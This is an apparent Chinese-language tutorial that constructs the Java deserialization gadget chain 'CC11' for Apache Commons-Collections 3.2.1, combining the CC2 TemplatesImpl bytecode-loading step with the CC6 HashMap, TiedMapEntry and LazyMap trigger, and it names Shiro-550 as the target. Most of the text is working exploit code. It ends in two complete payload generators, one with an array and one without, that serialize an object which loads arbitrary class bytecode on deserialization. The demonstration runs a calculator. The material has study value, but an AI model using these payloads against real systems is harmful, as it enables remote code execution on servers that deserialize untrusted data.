前言
这条链子的主要作用是为了可以在 Commons-Collections 3.2.1 版本中使用,而且还是无数组的方法。这条链子适用于 Shiro550漏洞
CC11链子流程
CC2 + CC6的结合体
CC2
这是CC2的流程图,我们取的是后面那三个链子,但是由于CC2 只能在 commons-collections4.0 版本中使用,所以前半段链用不了
首先我们从 defineClass方法的调用去向上寻找链子
可以发现 newTransformer 方法是public,可控的,可以调用 getTransletInstance方法进行实例化
构造链:
TemplatesImpl.newTransformer()
-->
defineClass->newInstance
调用 TemplatesImpl类的 newTransformer方法
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
因为调用 getTransletInstance方法需要满足这个if判断
所以我们需要构造代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Field;
public class C11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
}
}
我们需要满足第二个if判断才可以满足初始化
点进去 defineTransletClasses 方法
可以发现 _bytecodes 如果不为空,就进入下面的代码段。
从而构造exp代码段:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class C11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
//在readObject中找,因为该字段不身不参加序列化
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//初始化加载类
templates.newTransformer();
}
}
运行之后命令执行成功
InvokerTransformer这个链子在后面会与CC6连接的
CC6
CC6的链子流程:
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
尾部链
TiedMapEntry 类中的getVAlue调用了 LazyMap类的 get方法
继续拼接exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class C11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//初始化加载类
// templates.newTransformer();
//CC6的开始
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
tiedMapEntry.getValue();
}
}
可以看见成功弹出计算器
结合入口链
可以看见 TiedMapEntry类的hashCode()方法中调用 getValue()方法
在Java反序列化中 找到 hashCode()之后的链子几乎都是这个
xxx.readObject()
HashMap.put() --自动调用--> 后续利用链.hashCode()
所以我们可以构造exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class C11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//初始化加载类
// templates.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
// tiedMapEntry.getValue(); hashCode代替
lazymap.put(tiedMapEntry,null);
}
}
可以看见计算器成功弹出
解决只有反序列化执行命令
如果我们在序列化执行命令前,修改这行代码的chainedTransformer,它就不能执行了命令了
Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
-->修改为
Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
因为这个字段名 factory 是可控的
我们可以等序列化执行代码后,通过反射改回 factory的值为chainedTransformer,反序列化的时候就可以执行了
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
在 LazyMap的get方法中可以看见,如果key是false才会执行
所以我们需要修改代码,在xxx.put()后面添加这一行代码:
lazymap.remove(null);
CC6+CC2有数组最终exp代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class C11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//初始化加载类
// templates.newTransformer();
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);
// tiedMapEntry.getValue(); hashCode代替
lazymap.put(tiedMapEntry,null);
lazymap.remove(null);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
可以看见反序列化后命令执行成功
CC11无数组exp构造
修改有数组的CC11代码如下:
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
--->修改为
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
修改的代码:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
// tiedMapEntry.getValue(); hashCode代替
lazymap.put(tiedMapEntry,null);
lazymap.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,invokerTransformer);
最终exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class C11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//初始化加载类
// templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
// tiedMapEntry.getValue(); hashCode代替
lazymap.put(tiedMapEntry,null);
lazymap.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,invokerTransformer);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
可以看见反序列化的时候计算器成功弹出